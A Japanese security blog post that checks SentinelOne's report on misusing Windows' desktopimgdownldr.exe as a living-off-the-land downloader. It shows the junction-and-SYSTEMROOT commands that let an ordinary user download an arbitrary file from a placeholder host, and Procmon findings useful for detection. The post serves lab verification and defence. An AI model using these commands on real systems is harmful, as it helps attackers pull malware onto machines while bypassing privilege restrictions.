desktopimgdownldrを使ったLOLBin手法の検証

はじめに

この記事はSentineloneの記事をまとめ、検証したものになります。

日本語でざっと概要を把握したい方や実際の動作を見たい方向けです。詳細は当然‘Sentineloneの記事のほうが詳しいです。

Living Off Windows Land - A New Native File "downldr" - SentinelLabs

目次

Sentineloneの記事の概要まとめ

  • Windows10にデフォルトで入っているdesktopimgdownldr.exeを用いることでダウンローダとしての機能を攻撃者が使える。
  • desktopimgdownldr.exeは実行するとC:\Windows以下の特定のフォルダにダウンロードされるため本来管理者権限でしか使えない
  • しかし、特定のフォルダは%systemroot%の環境変数を用いるため、%systemroot%を書き換えることによりユーザ権限でも使うことができる ** いくつかのマシンではCOM+ Registration Catalogが必要となるためジャンクションを作成する必要がある。
  • 攻撃者はdesktopimgdownldr.exeを用いてダウンローダとして別のマルウェアをダウンロードすることが可能になる。
  • desktopimgdownldr.exeから通信は発生せず、svchostから通信が発生する。

LOLBinについて

Living Off the Land Binaryという攻撃のテクニックで、侵入した先においてある標準のツールを用いて攻撃を行う手法です。

Living Off the Land Binary and ScriptとしてLOLBasといわれることもあります。LOLBinで使われることのあるバイナリやスクリプトは下記のサイトでまとめられています。

lolbas-project.github.io

desktopimgdownldrの検証

今回はSystem権限でしか本来は使えないdesktopimgdownldrを使って、ファイルをダウンロードできるのかなどの検証をします。今回検証する内容は下記。

  • 通常はSystem権限でのみ動くことの確認
  • ユーザ権限でdesktopimgdownldrを利用できることを確認
  • Procmonで実行したときの様子

検証で使用したマシンは「Windows 10 ver 1903」

通常のdesktopimgdownldrの実行

コマンドプロンプトを通常の権限で実行し、desktopimgdownldrを使用します。この際にダウンロードするファイル等は今回はFakenet-NGのデフォルトファイルで代用します。

うまく実行に成功しているとC:\Windows\Personalization\LockScreenImage以下に保存されます。

> cd C:\Windows\System32
> desktopimgdownldr /lockscreenurl:http://domain.com:8080/fakenet.txt /eventName:randomname

実行結果が次の図です。C:\Windows\Personalizationのフォルダが作成されず、何もダウンロードできていないことが確認できました。

f:id:kataware8136:20200705113729p:plain
図1: 通常状態でのdesktopimgdownldr実行

続いて、コマンドプロンプトを管理者権限で起動し、desktopimgdownldrを使用します。ダウンロードするファイルは一緒です。

実行結果は次の図です。LockScreenImage_agunAIH8l0yqGiA9O8LJkg.txtがダウンロードできています。

f:id:kataware8136:20200705113853p:plain
図2: 管理者権限でのdesktopimgdownldr実行

中身を見てみるとFakenet.txtの内容がダウンロードできています。

これで普通に使う場合、ユーザ権限ではダウンロードできず、管理者権限ではダウンロード可能であるとわかりました。

ユーザ権限でdesktopimgdownldrを利用できることを確認

こんどはユーザ権限のコマンドプロンプト上で次のように入力します。

ブログにあったとおり私の環境ではCOM+ Registration Catalogを使うので、下記のコマンドを打ちます。

> mklink /J "%TEMP%\Registration" C:\windows\Registration && set "SYSTEMROOT=%TEMP%"
> desktopimgdownldr.exe /lockscreenurl:http://domain.com:8080/fakenet.txt /eventName:desktopimgdownldr

するとファイルがダウンロードされていることを確認できました。これによってユーザ権限でも任意のファイルをダウンロードできることがわかりました。

f:id:kataware8136:20200705101544p:plain
図3:ユーザ権限でのファイルダウンロード

Procmonで実行したときの様子

Sentineloneのブログでは、通信はdesktopimgdownldrからではなく、svchostsから発生するとあるのでそれを検証します。

procmonを用いて、desktopimgdownldrを実行した様子をキャプチャします。

図4はdesktopimgdownldrのプロセスIDでフィルタしたうえでネットワークトラフィックのみを出力させています。

f:id:kataware8136:20200705130420p:plain
図4: Procmonのネットワークトラフィックキャプチャ

結果はdesktopimgdownldrからは通信が発生してないことが確認できます。

次にProcmonでsvchost -k netsvc -p -s BITSもフィルタし、ネットワークトラフィックを出力させると、図5のようにsvchostから8080への通信が発生していることがわかります。

またFakenet-NGのほうでもsvchostから通信を受け取っていることがわかります。

f:id:kataware8136:20200705130915p:plain
図5: ProcmonとFakenet-NGのキャプチャ結果

通信を出していたsvchostはdesktopimgdownldrとプロセス的にはつながっていなかったので、探す際にはsvchost -k netsvc -p -s BITSで探す必要が私はありました。

desktopimgdownldrの実行履歴があるときはプロセスツリーではなくプロセスの一覧からsvchost -k netsvc -p -s BITSを探す必要がありそうです。

以上で検証終わりです。ここまで読んでいただきありがとうございました。残りは参考文献です。

参考文献

  1. Living Off Windows Land - A New Native File "downldr" - SentinelLabs
  2. LOLBAS
  3. The COM+ Catalog - Win32 apps | Microsoft Docs